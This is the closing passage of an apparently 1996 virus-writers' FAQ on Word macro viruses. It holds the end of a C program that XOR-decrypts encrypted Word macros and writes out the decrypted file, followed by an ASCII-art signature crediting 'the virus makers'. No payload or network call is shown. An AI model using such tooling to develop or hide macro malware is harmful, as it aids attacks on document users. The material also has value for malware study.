  812.                                 if (Buffer [Offset+point+1] == 0x1a)
  813.                                         {Buffer [Offset+point+2] ^= cledec;
  814.                                                 if (Buffer [Offset+point+2] == 0x1b)
  815.                                                         {Buffer [Offset+point+3] ^= cledec;
  816.                                                         if (Buffer [Offset+point+3] != 0x64)
  817.                                                                  {decfin = 0;
  818.                                                                  debmac = Offset+point+3;
  819.                                                                  Buffer [Offset+point+3] ^= cledec;
  820.                                                                  }
  821.                                                         else
  822.                                                                  Buffer [Offset+point+3] ^= cledec;
  823.                                                         }
  824.                                                 else
  825.                                                         Buffer [Offset+point+2] ^= cledec;
  826.                                 }
  827.                                 else
  828.                                          Buffer [Offset+point+1] ^= cledec;
  829.                 }
  830.         if ((Offset+point) == Length) {decfin = 0;}
  831.  
  832.         stop = stop + 1;
  833.         point = point + 1;
  834.         }
  835.         while ( ( decfin != 0) );
  836. printf ("\n");
  837. printf (" End of decrypting the macro n %d \n", nbr);
  838. };
  839.  
  840.         _fmode= O_BINARY;
  841.  
  842.         Handler1 = creat(Target, S_IFMT | S_IREAD | S_IWRITE);
  843.         write (Handler1, Buffer,(unsigned) Length);
  844.  
  845.         close (Handler1);
  846.         close (Handler);
  847.         printf ("\n"); printf ("\n");
  848.         printf (" END ... \n");
  849.         printf ("\n");
  850.         printf (" The decrypted file is  %s .\n", Target);
  851. }
  852.  
  853. - ------------------><--- cut here ------------------------------------
  854.  
  855.  
  856.       --------------------------------------------------------------
  857.  
  858.       This FAQ is Copyright (z) 1996
  859.     ______            _____            _____                    _____
  860.    /  __  \  __  __  /  __ \  _____   /  __ \    _____ ______  /  __ \  ___ _
  861.   /  /_/  / / / / / /  / / / /  __ \ /  / /  \  / __ //  ___/ /  / / / /  // \
  862.  /  / /  / / /_/ / /  /_/ / /  /_/ //  /_/   / / /_///  _/_  /  /_/ / /  _~  /
  863. /__/ /__/,/_____/ /__/ \  > \_____//________/ /_//_//_____/ /  ____/ /__//__/
  864. ====*****{=========-====\/======[ The DROW of UNDERDARK ]===\_/===============
  865.          '
  866.  
  867.  
  868. MicroFuck (tm), Windows, Word, EXCEL are Copyright (z) 1995-96 MicroFuck Corp.
  869.               All rights reserved to the virus makers...
  870.        --------------------------------------------------------------
  871.  
  872. P.S : sorry but i don't use a ENGLISH version of Word, so some names of the
  873.         instruction could be incorrect !!! Just use the F1 option and find the
  874.         nearest name....
  875.